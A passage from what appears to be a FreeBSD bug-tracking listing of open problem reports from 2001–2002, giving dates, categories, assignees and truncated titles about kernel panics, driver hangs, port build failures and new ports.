automounter f [2001/04/04] kern/26356 Large copy of files to the machine causes a [2001/04/05] gnu/26362 "cvs server" doesn't honour the global -- o [2001/04/06] kern/26384 dc driver hangs in dc_rxeof o [2001/04/08] kern/26430 cg -CURRENT panics on cat /dev/dsp or cat /d o [2001/04/09] ports/26464 mbr Citrix client no longer reads files in lo o [2001/04/10] misc/26486 setnetgrent hangs when netgroup contains o [2001/04/11] kern/26501 imp Unsuported PCCARD freeze the kernel in is o [2001/04/12] kern/26506 sendto() syscall returns EINVAL in jail e o [2001/04/14] kern/26567 Mouse driver will not properly restart if o [2001/04/14] kern/26568 Mouse driver will die if you move mouse a o [2001/04/16] kern/26613 ethernet vr0 hangs o [2001/04/19] kern/26704 AHA-2940[UW] gives MPARERR on cold boot ( o [2001/04/23] ports/26797 assar arla-0.34.6 causes kernel panic/page faul o [2001/04/23] bin/26809 /etc not saved on upgrade o [2001/04/25] bin/26842 dd dump with h flag takes a very long time o [2001/04/25] ports/26848 sobomax jre port core dumps a [2001/04/25] bin/26869 sheldonh vi(1) crashes in viewing a file with long o [2001/04/27] misc/26897 qa 4.3R sysinstall fails to create swap part o [2001/04/28] kern/26920 imp PCI autoconfiguration of USB, dc ether, a f [2001/04/29] kern/26953 adter the installation is over it's make o [2001/04/30] i386/26985 jkh floppy install 4.3 via FTP hangs o [2001/04/30] bin/26996 green sshd fails when / mounted read-only o [2001/05/01] kern/27020 FreeBSD 4.3RC compiled with an SMP kernel o [2001/05/02] ports/27052 portmgr libtool port broken in 4.3 RELEASE o [2001/05/04] bin/27086 green OpenSSH does not set X11 forwarding f [2001/05/04] kern/27087 FreeBSD 4.3-RELEASE does not recognize Gi a [2001/05/08] ports/27202 dougb mail/pine sucks rocks when saving over NF o [2001/05/09] bin/27230 nectar Users after NIS lines in /etc/passwd o [2001/05/09] kern/27237 Watchdog Timeouts under EXCESSIVE load o [2001/05/09] kern/27242 SIGHUP propagation failure to processes o o [2001/05/10] i386/27247 Panic on install - "page fault syncing di a [2001/05/10] kern/27262 process won't be terminated after CPUTIME a [2001/05/15] ports/27358 znerd Naming scheme for JDK ports (java) o [2001/05/16] misc/27400 4.3 install hangs because it is looking f o [2001/05/17] ports/27419 jhb E-FancyLauncer clones itself over and ove o [2001/05/20] kern/27474 Interactive use of user PPP and ipfilter o [2001/05/21] misc/27498 grog vinum crashed after 'vinum dumpconfig' o [2001/05/21] kern/27522 des linprocfs:/proc/stat does not handle SMP o [2001/05/22] kern/27543 des /proc/cpuinfo does not handle SMP hosts o [2001/05/23] docs/27605 doc Cross-document references () o [2001/05/27] kern/27694 cg Panic in csa(4) f [2001/05/29] i386/27729 qa the ls120 device "afd" does not show up u o [2001/06/01] misc/27810 rpc.statd can loop o [2001/06/04] ports/27875 ports invoked on boot, SIGHUP is delivered and o [2001/06/04] ports/27883 bp shares mounted by the smbfs-1.4.1 port ar f [2001/06/05] misc/27893 sos can't burn audio cds on LG CD-RW CED-8083 o [2001/06/05] misc/27896 Error in /etc/exports invalidates entire o [2001/06/07] ports/27925 portmgr index is not updated when it html manpage o [2001/06/07] ports/27926 portmgr bsd.port.mk does not handle MLINKS with h o [2001/06/07] ports/27929 jmz make extract on x11/XFree86-4 port fails o [2001/06/09] bin/27988 [PATCH] let pam_ssh.so explicitly start s o [2001/06/09] kern/27995 src/sys/pci if_pcn.c revision 1.21 resp. o [2001/06/12] misc/28095 [PATCH] pax may descend into directories o [2001/06/12] kern/28100 Hang after device probe on EISA machine o [2001/06/12] ports/28102 assar Recent changes to 4.3-STABLE break arla-0 o [2001/06/14] ports/28155 portmgr DESTDIR is used incorrectly in bsd.port.m o [2001/06/15] kern/28173 Problem with Touchpad on Inspiron 5000e o [2001/06/15] ports/28179 nbm vsftpd port creates a user without a warn o [2001/06/15] misc/28188 Cron is being started to early in /etc/rc o [2001/06/16] kern/28218 A peer of TCP socket cannot detect termin o [2001/06/16] bin/28221 eric dialog(1) segfaults (due to the bug in li o [2001/06/17] bin/28223 su doesn't look at login.conf all the tim o [2001/06/17] bin/28224 ftpd doesn't honor invalid shelll in logi o [2001/06/17] i386/28231 /boot/loader can't load kernel on Xyberna o [2001/06/20] bin/28311 markm ftpd and sshd do not honor expired pw ent f [2001/06/22] misc/28339 roam Slow Disk performance on 4.3 (about half o [2001/06/23] ports/28378 jedgar p5-Net-IRC-0.70_1 eats irc text with col o [2001/06/23] bin/28381 Can't turn off telnet autologin o [2001/06/24] ports/28398 ports ja-dvips cannot find tex.pro o [2001/06/25] kern/28417 arplookup uses potentially unprotected st o [2001/06/26] bin/28424 mtree fails to report directory hierarchy o [2001/06/26] kern/28434 cs0's promiscuous mode does not work o [2001/06/27] misc/28442 hot rebuild on Compaq Intergrated Smart A o [2001/06/28] ports/28491 kiri www/w3-4 port: mismatch between pkg-plist f [2001/06/28] kern/28497 dmesg corrupted buffer/output o [2001/06/28] kern/28498 /var/log/messages incorrect o [2001/06/29] misc/28508 problems with backup to Tandberg SLR40 st o [2001/06/30] i386/28536 writing to corrupted msdosfs causes kerne o [2001/06/30] bin/28552 EUC support of wcstombs(3) is broken for o [2001/07/01] i386/28592 Please support boot from ATA RAID-0 devic o [2001/07/02] misc/28629 ftpd REST command does not support restar o [2001/07/04] kern/28692 cg ICH sound driver hangs kernel o [2001/07/04] kern/28713 luigi NEW IPFW FEATURE [PATCHES]: Dynamic rule o [2001/07/05] misc/28737 D-Link DFE530TX - vr0: Watchdog Timeouts; o [2001/07/06] kern/28768 The system doesn't get connects on one of o [2001/07/06] bin/28773 [PATCH] Bug in pw, no $ in username o [2001/07/07] bin/28798 mikeh mail(1) with a pager (more) requires fg/C o [2001/07/07] i386/28802 3com Performance Pro modem conflicts with o [2001/07/09] kern/28840 gibbs Possible interrupt masking trouble in sys o [2001/07/09] bin/28852 cracauer behavior of /bin/sh with -e option looks o [2001/07/09] kern/28856 3COM PCI FaxModem with shared IRQ causes o [2001/07/11] ports/28889 lioux qpopper-4.0.3 error: Insufficient room to o [2001/07/12] i386/28928 wpaul dual starfire nic doesn't seem to work (a o [2001/07/13] bin/28935 dwmalone syslogd -u doesn't treat * as "all levels o [2001/07/15] i386/28985 Installing FreeBSD 4.3 on a Dell Optiplex o [2001/07/16] bin/29026 traceroute -s option allows any IP addres o [2001/07/17] bin/29049 green multi-user with star o [2001/09/15] misc/30590 /etc/hosts.equiv and ~/.rhosts interactio o [2001/09/15] kern/30592 roam [PATCH] panic: static sysctl oid too high o [2001/09/17] kern/30630 fenner Failure to check for existence of interfa a [2001/09/17] ports/30638 ports SQL-Ledger port update o [2001/09/18] kern/30653 brooks KAME option MAX_GIF_NEST missing from /us o [2001/09/18] bin/30654 Added ability for newsyslog to archive lo f [2001/09/18] ports/30663 ports NEW PORT: devel/libCxClient o [2001/09/21] misc/30708 DHCP and multiple interfaces o [2001/09/21] kern/30712 fatal kernel trap during ufs_rename o [2001/09/21] ports/30728 portmgr pkg_add causes install of multiple versio o [2001/09/22] kern/30744 UDMA ICRC error results in kernel panic o [2001/09/23] kern/30755 It is impossible to mount CD-ROM in some o [2001/09/23] ports/30767 jmz silly links break XFree-4 port if /usr/X1 o [2001/09/24] i386/30784 4.4 does not install KDE or Gnome+Sawfish o [2001/09/24] kern/30798 contigfree() doesn't o [2001/09/25] kern/30820 sound PCM sound fails o [2001/09/25] ports/30823 ports New port: KinterbasDB, Python module to a o [2001/09/26] bin/30837 Sysinstall doesn't set the schg flag on t o [2001/09/27] gnu/30876 tar ignores complaints from gzip o [2001/09/30] ports/30947 ports mail/mahogany fails to build, conflicts w o [2001/09/30] kern/30948 ls'ing mounted brand new floppy locks up o [2001/09/30] kern/30952 kernel panics with 3C905[BC] cards / xl d o [2001/10/01] kern/30958 QUOTA with 0 bytes in quota.user hangs up o [2001/10/01] bin/30959 newfs -i x dumps core for small values of o [2001/10/01] i386/30965 Cyclades Cyclom-Yep causes FreeBSD to han f [2001/10/01] bin/30966 fenner TCPdump repeating on Radius accounting pa o [2001/10/01] kern/30971 peter NFS client modification time resolution i o [2001/10/02] i386/30991 pcm in PNP-OS mode vs. non-PNP-OS mode po o [2001/10/02] bin/30993 xxgdb cannot open source file o [2001/10/04] bin/31029 cjc syslogd remote logging back down o [2001/10/04] i386/31035 Smart Array & SMP hangs on Proliant 1600 o [2001/10/04] bin/31045 routed dumps core o [2001/10/04] kern/31046 Linux OpenGL programs do not work under t o [2001/10/04] kern/31047 Linux programs do not dump core in linux o [2001/10/06] kern/31084 imp xe driver device probe fails in CIS tuple o [2001/10/06] kern/31085 kernel panic on tftp only pxeboot o [2001/10/07] kern/31102 lge + Pentium III data transmission probl o [2001/10/07] kern/31103 nfs read i/o error when nfs-mounting onto o [2001/10/07] ports/31113 portmgr bsd.ports.subdir.mk: remove NOCLEANDEPEND a [2001/10/08] ports/31143 ports gd does not compile, uses nonexistent ftg o [2001/10/08] kern/31147 Kernel panics (double fault) in some "net o [2001/10/09] misc/31175 4.4 wikk not detect ethernet cards on HP o [2001/10/09] ports/31184 ports Latex2html problem o [2001/10/10] ports/31191 ports netsaint - plugins sometimes not found o [2001/10/10] kern/31203 Cardbus xl driver broken on -CURRENT o [2001/10/11] ports/31216 znerd New port: devel/plist-builder o [2001/10/12] kern/31238 `hpijs' process hangs unkillably in `devb o [2001/10/14] docs/31265 doc crontab(1) doesn't decribe format of allo o [2001/10/14] conf/31280 /etc/rc.network NFS server startup broken o [2001/10/15] bin/31306 sysinstall fails to create non-root parti o [2001/10/17] bin/31339 make's .if processing buggy o [2001/10/18] ports/31352 ports Netsaint check_by_ssh: fcntl(0, F_SETFL, o [2001/10/18] misc/31363 sysinstall "partition editor" silently co o [2001/10/21] kern/31398 cg newpcm does not play back the tail of sou o [2001/10/21] ports/31414 ports gd won't compile on 4.3 f [2001/10/21] ports/31422 ache Does pkg_delete have to erase /usr/local/ f [2001/10/24] kern/31471 Specific IPFW's FWD rule crashes the kern o [2001/10/24] i386/31481 FreeBSD does Not find disk drives with Co o [2001/10/25] kern/31492 Panic in sysctl_remove_oid. o [2001/10/25] ports/31494 ache mod_perl fixes for apache13 port o [2001/10/26] ports/31511 obrien g++30 produces binaries which SIGBUS when o [2001/10/26] kern/31515 Use of USB Keyboard crashes 4.4 during in o [2001/10/26] ports/31527 dwcjr "reject_unknown_client" configuration pro a [2001/10/27] kern/31530 Fatal trap 12 when reading from DVD. o [2001/10/29] kern/31597 pcm_addchan incorrectly adds vchans to PC o [2001/10/29] ports/31605 kde kmail cannot decrpyt/encrypt/verify gnupg o [2001/10/30] conf/31631 "MAC address" can't be acquired properly. o [2001/10/31] kern/31659 n_hibma USB controller driver will die after some o [2001/10/31] bin/31661 jasone pthread_kill signal handler doesn't get s o [2001/10/31] misc/31670 Wide-Ultra 10k SCSI 3 drive is not recogn o [2001/10/31] bin/31678 A bug in handling an error reading a CD-R f [2001/11/01] ports/31688 znerd JDK 1.3.1 Update for Sun's Java Communica o [2001/11/01] ports/31689 znerd JDK 1.3.1 update for FreeBSD/Java Commapi f [2001/11/01] bin/31692 2872-or-less-byte ftp binary transfer fro o [2001/11/01] ports/31699 ports The graphics/gd2 port conflicts with grap f [2001/11/03] misc/31736 DMA mode not possible switching to PIO mo o [2001/11/03] kern/31746 failed connect(2) seems to cause problems o [2001/11/04] ports/31767 ports Fix glide3 includes for DRI compile o [2001/11/05] kern/31768 darrenr Use of fastroute in IPFilter reboots the o [2001/11/05] i386/31771 brian PPP compares CHAP81 response case sensiti o [2001/11/05] kern/31790 problem with NFS and jail() o [2001/11/05] ports/31793 billf snmpd loops on udp.ipv6UdpTable.ipv6UdpEn o [2001/11/06] kern/31804 Clearing PME mode kills network performan o [2001/11/07] ports/31819 jmz ports/ispell install doesn't work o [2001/11/07] bin/31835 dhclient doesn't close FD's before spawni o [2001/11/07] bin/31837 sysinstall change mountpoint o [2001/11/07] kern/31839 mdodd ex0 panic if NIC not cabled a [2001/11/07] ports/31840 portmgr package naming inadequation (gnome vs gtk o [2001/11/07] i386/31845 Toshiba Satellite 2105CDS won't boot Free o [2001/11/08] i386/31850 mckusick panic: allocdirect_check o [2001/11/08] bin/31860 read wont timeout on sockets if using thr o [2001/11/08] misc/31864 system header file attempts to redefine a o [2001/11/09] ports/31893 des gnats-3.113.1 conflicts with /usr/bin/sen o [2001/11/12] gnu/31929 GNU Tar shipped with FreeBSD handles rela o [2001/11/12] kern/31940 nge gigabit adapter link reset and slow t o [2001/11/13] i386/31967 reboot/shutdown hangs on Sony VAIO 505 w/ o [2001/11/14] kern/31979 Setup and boot locks Compaq Armada E500 l o [2001/11/17] ports/32063 znerd patch for /usr/ports/java/linux-jdk about o [2001/11/17] bin/32072 setuid w/o immutable flag o [2001/11/18] kern/32098 semctl() does not propagate permissions o [2001/11/19] kern/32118 21143 with dc driver will not select 10ba o [2001/11/19] ports/32121 jmz xf86cfg 4.1.0 writes bad "Chipset" value o [2001/11/20] kern/32124 Cannot set 128 bit wep key on prism2 (wi0 a [2001/11/21] ports/32164 skv New port: p5-XML-SAX-Simple-0.01 f [2001/11/21] bin/32175 green ssh-keygen -p core dumps o [2001/11/22] misc/32194 Adaptec SCSI RAID 2100 fails by reboot o [2001/11/22] bin/32205 brian PPP login fails in LCP negotiation on opt o [2001/11/23] ports/32223 ports Port databases/mysql-jdbc-mm is quite out o [2001/11/23] kern/32226 time of day clock runs fast (approx twice o [2001/11/23] ports/32234 portmgr Perl ports not $LOCALBASE clean o [2001/11/24] kern/32256 System crash/reboot when deleting file on o [2001/11/24] bin/32261 dump creates a dump file much larger than o [2001/11/26] alpha/32289 alpha memory management fault o [2001/11/26] bin/32295 pthread dont dequeue signals o [2001/11/26] misc/32297 sound Scratchy sound, bad hiss with ALS4000 bas f [2001/11/27] kern/32331 system panic in quotaoff o [2001/11/27] kern/32338 Network to disk write performance low und o [2001/11/28] kern/32353 if kern.maxproc > 512 sybase ASE 11.9.2( o [2001/11/28] gnu/32365 obrien gcc optimiser bug with -O -march=i686 o [2001/11/29] bin/32374 vi -r doesn't work, file contained unexpe o [2001/11/29] ports/32382 znerd 'ant' doesn't work if JAVA_HOME not set o [2001/12/01] bin/32432 /etc/rc.diskless2 borken in stable. o [2001/12/03] ports/32465 ports emulators/vmware2 doesn't build o [2001/12/03] ports/32471 ports amavis-perl only usable for sendmail o [2001/12/03] ports/32476 skv New port: oracle7-client o [2001/12/03] ports/32477 skv New port: p5-DBD-Oracle-1.12 o [2001/12/04] ports/32524 kde Port build failed: x11-toolkits/qt23 o [2001/12/05] ports/32529 kde Konqueror 2.2.2 refuses to follow some li o [2001/12/06] kern/32556 sound system crashes when unloading sound modul o [2001/12/06] ports/32558 olgeni www/sitecopy is broken o [2001/12/07] ports/32589 dirk mod_php4 configure script fails o [2001/12/07] bin/32591 assar The memory block doubly freed in Heimdal o [2001/12/08] kern/32600 luigi [PATCH] incorrect handling of parent rule o [2001/12/08] bin/32619 des libfetch does not use RFC 1738's definito o [2001/12/08] misc/32631 installing 4.4 "mounting root from ufs:/d f [2001/12/08] ports/32637 ports Can't make install ja-mozilla-jlp-0.9.6, a [2001/12/09] ports/32639 ports freeamp: preference AllowMultipleInstance o [2001/12/09] ports/32663 kde kdelibs2 port potentially conflicts with o [2001/12/10] kern/32668 peter NFS directory removal problems manifested f [2001/12/10] bin/32686 wosch locate command dumps a core file with bro o [2001/12/11] misc/32699 Tulip ether card EN2242 (if_dc.c) use wro o [2001/12/11] ports/32700 assar inode changes for large o [2001/12/11] kern/32716 system hangs when running vid (usb webcam o [2001/12/11] bin/32717 brian ppp(8) change mss to wrong size o [2001/12/12] bin/32759 [PATCH] make(1) System V include behaviou o [2001/12/12] misc/32760 Please MFC /usr/include/malloc.h to -STAB f [2001/12/12] bin/32791 ru FreeBSD's man(1) utility vulnerable to ol o [2001/12/13] kern/32797 Problem with IPX and netgraph(4) o [2001/12/13] ports/32800 dec gated dies on ppp interface up/down o [2001/12/13] kern/32809 yet another panic while syncing disks aft o [2001/12/13] bin/32817 tobez Base system includes outdated CGI module o [2001/12/14] kern/32827 small SO_RCVTIMEO values are taken to be o [2001/12/14] ports/32832 kde Kmail 1.3.2 / kde 2.2.1 / PGP 6.5.8 - kma o [2001/12/14] ports/32844 kde exiting konq term emulator causes crash o [2001/12/16] ports/32903 ports Kernel panic when returning from single m o [2001/12/16] ports/32922 trevor ports/devel/bin86 won't build with umask o [2001/12/16] misc/32924 dmlb raylink driver having problems receiving o [2001/12/18] ports/32963 skv New port: p5-Class-ISA-0.32 o [2001/12/18] ports/32965 skv New port: p5-Class-BlackHole-0.03 o [2001/12/18] ports/32966 skv New port: p5-Ima-DBI-0.26 o [2001/12/18] ports/32967 skv New port: p5-Class-WhiteHole-0.03 o [2001/12/18] ports/32968 skv New port: p5-Class-DBI-0.36 o [2001/12/18] ports/32970 skv New port: p5-XML-DBMS-1.01.3 o [2001/12/18] ports/32974 skv New port: p5-Math-SimpleVariable-0.03 o [2001/12/18] ports/32975 skv New port: p5-Math-LinearCombination-0.03 o [2001/12/19] ports/33001 skv New port: p5-PodParser-1.18 o [2001/12/19] ports/33002 skv New port: p5-Pod-POM-0.11 o [2001/12/21] kern/33074 joe USB printer support does not detect print o [2001/12/21] ports/33080 ume grkrellmvolume interferes with the abilit o [2001/12/21] ports/33082 ports audio/mxv fails to compile o [2001/12/22] kern/33085 jlemon Samba's NMBD cannot find alias interface o [2001/12/22] bin/33087 ume No automatic ipf setup for IPv6 o [2001/12/22] ports/33093 jdp cvsup SNAP_16_1e breaks by SIGILL during o [2001/12/24] kern/33138 pnp problem in 4.3, 4.4, 4.5 o [2001/12/24] kern/33143 Kernel panic in uhci_abort_xfer_end o [2001/12/24] bin/33155 green [PATCH] sshd can leave hanging processes o [2001/12/25] ports/33170 ache zip -T [zip file] fails with message abou o [2001/12/26] kern/33201 net/net_osdep.c:if_name is broken o [2001/12/26] kern/33206 sound Soundcard f [2001/12/26] misc/33213 ume rarpd fails to init IPv6 enabled interfac o [2001/12/27] kern/33234 luigi dummynet localhost pipe causes machine to o [2001/12/27] bin/33235 find terminates with "find: fts_read: Per o [2001/12/29] misc/33315 pthread_key_create does not zero out the o [2001/12/30] kern/33344 memory leak in device resource config loa o [2001/12/30] kern/33346 jhb Kernel panic with SMP kernel o [2001/12/30] kern/33353 panic at odd times...idle, under no load, o [2001/12/30] misc/33370 Post configuration issue o [2002/01/01] ports/33440 portmgr Ports can not resume an interrupted downl o [2002/01/01] ports/33447 gnome Galeon cannot access secure pages without o [2002/01/02] kern/33464 dillon soft update inconsistencies after system o [2002/01/02] ports/33482 ports New port for gimp-print o [2002/01/03] bin/33515 amd incorrectly handles multi-homed nfs s o [2002/01/03] ports/33519 portmgr make index fails if PERL_VERSION is 5.6.1 o [2002/01/03] ports/33522 jkh Cvsupit out of date, RELENG_4 or RELENG_4 o [2002/01/04] pending/33532sound Playing audio on some soundcards with pcm o [2002/01/04] kern/33535 invalid kernel diagnostic while writing d o [2002/01/04] bin/33537 savecore cannot save kernel core if it's f [2002/01/04] gnu/33551 cvs chokes on OpenBSD repositories f [2002/01/05] kern/33578 FreeBSD panics when accessing encrypted D o [2002/01/06] ports/33614 ports port devel/pike is out of date ! o [2002/01/07] ports/33650 kde py-numeric, koffice, others are hard code o [2002/01/07] kern/33653 DSL PPPoE connection error on 4.5-PRERELE o [2002/01/07] ports/33667 gnome [PATCH] mozilla locale description still o [2002/01/07] misc/33672 sheldonh telnetd and mount_mfs signal handlers cal f [2002/01/08] ports/33680 okazaki /usr/ports/graphics/aalib fails to compil o [2002/01/08] kern/33712 joe Duplicate make_dev panic in ugen.c + patc o [2002/01/09] misc/33723 select(2) implementation in threaded (-lc o [2002/01/09] kern/33738 argv == NULL is not handled correctly by a [2002/01/10] bin/33770 maxim ftpd performs an infinite loop after send f [2002/01/11] misc/33785 alfred Accept Filtering Stops Answering o [2002/01/11] ports/33795 ports [PATCH] quakeserver questionable file own o [2002/01/12] conf/33810 /etc/ttys: document how to make console i o [2002/01/13] kern/33833 Correct kernel config for 4.4-RELEASE is o [2002/01/13] kern/33839 joe usb0: host controller halted (involving A o [2002/01/13] ports/33848 ports CUPS doesn't find parallel port o [2002/01/14] bin/33881 adduser additions: selectable crypt schem o [2002/01/15] ports/33924 ports firebird-devel build fails - can not appl o [2002/01/15] ports/33925 ports update port www/cgi-lib o [2002/01/15] ports/33927 ports ja-dvipdfm port requires texmf/dvips/base o [2002/01/15] ports/33929 doc Section 15.15 of the FreeBSD Porter's Han o [2002/01/15] ports/33931 mbr trouble installing StarOffice 5.2 over li o [2002/01/16] kern/33940 quotactl allows compromise gid-quotas o [2002/01/16] ports/33972 ports stow upgraded (fixes serious bug re delet o [2002/01/16] kern/33974 Can not record anything with emu10k1 on 4 f [2002/01/17] kern/33978 can't kill process o [2002/01/17] i386/33986 sound SMP and audio causes hard lockups (random o [2002/01/17] ports/34006 ports new port: x11/fspanel o [2002/01/17] bin/34007 pkg_create -b forgets to include install o [2002/01/17] kern/34017 The siginfo_t passed to the signal handli o [2002/01/18] kern/34020 programs fail that poll(2) on fifos o [2002/01/18] pending/34021 Request to add ukrainian whois server to o [2002/01/18] bin/34030 miibus.ko can be loaded into the kernel w o [2002/01/18] pending/34031 hang with linux emulation in 4.5-RC o [2002/01/18] i386/34033 Suspend doesn't work on Dell Latitude CPx o [2002/01/18] ports/34056 ports vmware2 complains of missing file o [2002/01/19] bin/34072 semenu corrupted transfers on mounted ntfs parti f [2002/01/19] misc/34073 3com 3c980c runs "bursty" / freezes-unfre o [2002/01/20] ports/34089 ports Maintainer-update: misc/libmcal causes er o [2002/01/20] i386/34092 reboot hangs the system (IBM PC Server 31 f [2002/01/20] ports/34099 java /usr/ports/java/jdk13 fails to build o [2002/01/21] ports/34110 des linux-opera TP3 doesn't work o [2002/01/21] ports/34124 gnome gnucash 1.65 doesnt build o [2002/01/21] gnu/34128 sdiff "e" doesn't work with some editors o [2002/01/21] ports/34153 andreas The apsfilter configure script adds bzip2 o [2002/01/22] ports/34188 ports security/p5-Authen-PAM o [2002/01/23] kern/34205 joe detect USB memory device, But can not use o [2002/01/23] ports/34212 cpiazza Segmentation fault in audio/gmixer o [2002/01/23] ports/34213 ports New Port: (ignore previous) lang/kawa Jav o [2002/01/23] ports/34214 ports New Port: lang/kawa Java Based Scheme Imp o [2002/01/24] kern/34228 Dual processor machine hangs at reboot o [2002/01/24] gnu/34246 joe CVS doesn't rebuild CVSROOT/options o [2002/01/25] kern/34266 SMP does not work on CPQ0579 System board o [2002/01/25] i386/34267 semenu FreeBSD hangs and reboots when overloaded o [2002/01/25] bin/34269 tcpdump -v incorectly identifies packets o [2002/01/25] misc/34270 man -k could be used to execute any comma f [2002/01/26] kern/34306 gibbs 4.5-RC panics on boot with half-supported o [2002/01/26] ports/34308 ports perl build fails due to locales (*.ISO885 o [2002/01/26] ports/34313 ports Security: unbreak french/xtel o [2002/01/26] ports/34318 se ports/games/rt2-demo-files/do-install has o [2002/01/27] ports/34332 nik print/jadetext fails to build with TeX er o [2002/01/29] ports/34402 gnome librsvg port broken o [2002/01/29] ports/34409 ports prc-tools from ports fails to compile on f [2002/01/29] i386/34422 crash system wnen kill pppd with reattach f [2002/01/29] ports/34431 ade gnomedb-0.2.95 fails to build o [2002/01/30] ports/34436 ports /usr/libexec/ld-elf.so.1: Shared object " o [2002/01/30] misc/34458 green 4.5S/sshd forwarding problems o [2002/01/30] ports/34467 portmgr bsd.port.mk is broken WRT USE_AUTOCONF_VE o [2002/01/31] ports/34480 jmz system hangs after killing xinit o [2002/01/31] ports/34512 ports [PATCH] Fix linking errors in deskutils/m o [2002/02/01] i386/34536 accept() blocks other threads o [2002/02/01] bin/34539 [PATCH] fsck(8) doesn't account for negat o [2002/02/01] kern/34544 Kernel crash on fclose() of /dev/kbd1 whe o [2002/02/02] ports/34558 sobomax wxgtk-devel port broken o [2002/02/02] misc/34568 turning printer on and off hangs the comp o [2002/02/03] ports/34584 ports New port: mail/nocc (A webmail system bas o [2002/02/03] bin/34586 burncd -t blank blanks CD o [2002/02/03] i386/34588 read-prefetch on VIA 686B IDE causes hang o [2002/02/03] ports/34593 anders minicom-2.00.0 does not build when autoco o [2002/02/03] ports/34599 ports Imagemagick a [2002/02/03] bin/34601 sheldonh bc(1)'s multi-line file parsing problem o [2002/02/04] i386/34607 peter incorrect PAP authorization in pppd o [2002/02/04] kern/34619 TCP - FINs with different sequence number o [2002/02/05] ports/34636 ports XmHTML does not build: debug.c:113: initi o [2002/02/05] ports/34648 ports system hangs if you 'shutdown now' while o [2002/02/06] ports/34661 ports lang/gcl fails to compile f [2002/02/06] ports/34664 ade Build of GNumeric/Bonobo has hidden depen o [2002/02/06] kern/34672 NEWCARD panic. o [2002/02/06] kern/34677 burncd does not work with USB CDRW o [2002/02/06] bin/34682 fenner scanf/sscanf doesn't understand %lld o [2002/02/06] i386/34684 sysinstall core-dumped o [2002/02/07] ports/34691 ports new port for sfs - the self-certifying fi o [2002/02/07] ports/34692 portmgr typing error in bsd.port.mk o [2002/02/07] ports/34705 gnome Galeon 1.0.3 won't build with mozilla 0.9 o [2002/02/07] bin/34725 sos burncd cannot write audio file as the 1st o [2002/02/07] bin/34727 ``/bin/mkdir -p /'' fails o [2002/02/08] ports/34730 ports new port qmail-scanner - a virus-scanning o [2002/02/08] ports/34734 ports There is no pngquant port o [2002/02/08] misc/34739 [BROKEN] The FreeBSD PR submission system o [2002/02/08] bin/34741 pkg_info -R gives empty output o [2002/02/09] kern/34764 cisco aironet driver freezes with toshiba o [2002/02/09] kern/34765 Unloading the ipl.ko module will panic th o [2002/02/10] kern/34801 TCP window size bug (afflicting IP Filter o [2002/02/10] bin/34811 sh: "jobs" is not pipeable o [2002/02/11] ports/34829 ports new port: pisg 0.36 o [2002/02/11] misc/34842 VmWare port + NIS causes "broadcast storm o [2002/02/12] ports/34872 ports New Port: KOggTag is a KDE-based tag edit o [2002/02/12] ports/34887 ports Apache modules installed from ports with o [2002/02/12] ports/34893 ports RUS-CERT Advisory 2002-02:01: Temporary f o [2002/02/12] kern/34895 Linuxulator linux_fcntl64() doesn't handl o [2002/02/13] i386/34902 FTP session causes server reboot o [2002/02/13] ports/34907 sf 4.5/ports/ftp/wget+ipv6 hangs top make o [2002/02/13] ports/34911 znerd mod_jk/jakarta-tomcat installation proble o [2002/02/14] gnu/34939 tar quits silently creating archive conta o [2002/02/14] ports/34943 ports ports/mail/ecartis o [2002/02/14] docs/34947 doc Updated/Translated Article on Filtering B o [2002/02/15] ports/34962 gnome gnomepilot backup conduit won't back up a o [2002/02/15] ports/34990 kde Kde coredump on halt o [2002/02/16] ports/34995 gnome distfile for ports/devel/pkgconfig unfetc o [2002/02/16] kern/35004 [PATCH] Fix for pcm driver lockups a [2002/02/17] ports/35050 ports Failure of port drm-kmod to correctly ini o [2002/02/17] kern/35061 After printing to HP Deskjet 656c USB pri o [2002/02/18] bin/35071 include/arpa/inet.h broken: must include o [2002/02/18] bin/35076 sh builtin test command sets real uid to o [2002/02/18] kern/35081 zebra routing problem - kernel bug??? o [2002/02/18] bin/35087 TAR does not recurse directories if it ru o [2002/02/18] misc/35104 Files end up being no bigger than 8192 by o [2002/02/19] misc/35116 keyinfo reports root's keyinfo o [2002/02/19] ports/35121 ports msgfmt in multiple ports causes conflicts o [2002/02/20] kern/35136 VLAN & bridging & MTU o [2002/02/20] kern/35138 -stable kernel crashes after 4.5-RC -> -s o [2002/02/20] misc/35145 cannot open /etc/termcap and no terminal o [2002/02/21] ports/35179 kris elm-2.5.5_1: bounce command doesn't work o [2002/02/21] ports/35183 portmgr postgresql-7.1 repo copy request o [2002/02/22] ports/35209 nakai icewm 1.0.9 crashes o [2002/02/22] bin/35214 dump program hangs while exiting o [2002/02/22] ports/35218 ports WRKDIRPREFIX while /usr/obj exists o [2002/02/23] ports/35236 gnome gdm doesn't set IS_INTERACTIVE o [2002/02/23] kern/35248 panic: ffs_valloc: dup alloc o [2002/02/23] misc/35267 after cvsup src-all for 4.5, /stand/sysin o [2002/02/24] ports/35276 nik print/jadetex port doesn't build o [2002/02/24] ports/35288 ports ports/afterstep has resources leak o [2002/02/24] ports/35297 pat PfaEdit port fails to compile o [2002/02/25] ports/35308 dirk mod_php4 port will not configure (version o [2002/02/25] bin/35309 umount -f does not work for ufs floppy o [2002/02/25] misc/35310 SSHing with expired password does not bri o [2002/02/25] ports/35312 ports Update port: Boa o [2002/02/25] ports/35320 znerd linux-jdk-1.4 JVM fails when running Tomc o [2002/02/25] bin/35321 standard include files do not comply to s o [2002/02/25] ports/35325 ports gtk_set_locale patch for ports/x11-fonts/ o [2002/02/25] bin/35329 Linking against libc_r.* provokes nasty l o [2002/02/26] misc/35350 Can't boot on ASUS TXP4 o [2002/02/26] kern/35351 emu10k1: no posibility to record sound. K o [2002/02/26] ports/35353 green cfs strips eighth bit of file name on "ou o [2002/02/26] ports/35364 ports cdb port forgets uint32.h o [2002/02/26] ports/35369 ports japanese/rskkserv won't start up o [2002/02/27] ports/35373 ache [PATCH] www/mnogosearch: fix --with-pgsql o [2002/02/27] ports/35386 ports doxygen port will not configure o [2002/02/27] ports/35388 ports xsane_create_secure_file fails if file ex o [2002/02/27] kern/35396 poll(2) doesn't set POLLERR for failed co o [2002/02/28] kern/35399 poll(2) botches revents on dropped socket o [2002/02/28] kern/35408 es137x.c warning causes buildkernel failu o [2002/02/28] docs/35420 doc Fix some errors in my chroot'ing named se o [2002/02/28] kern/35425 System hang while boot on specific SMP mo f [2002/02/28] ports/35426 dirk lang/php4 does not patch o [2002/02/28] ports/35428 sobomax textproc/xlhtml: unfetchable distfile => o [2002/02/28] kern/35429 select(2)/poll(2)/kevent(2) can't/don't n o [2002/02/28] docs/35430 doc [Maintainer 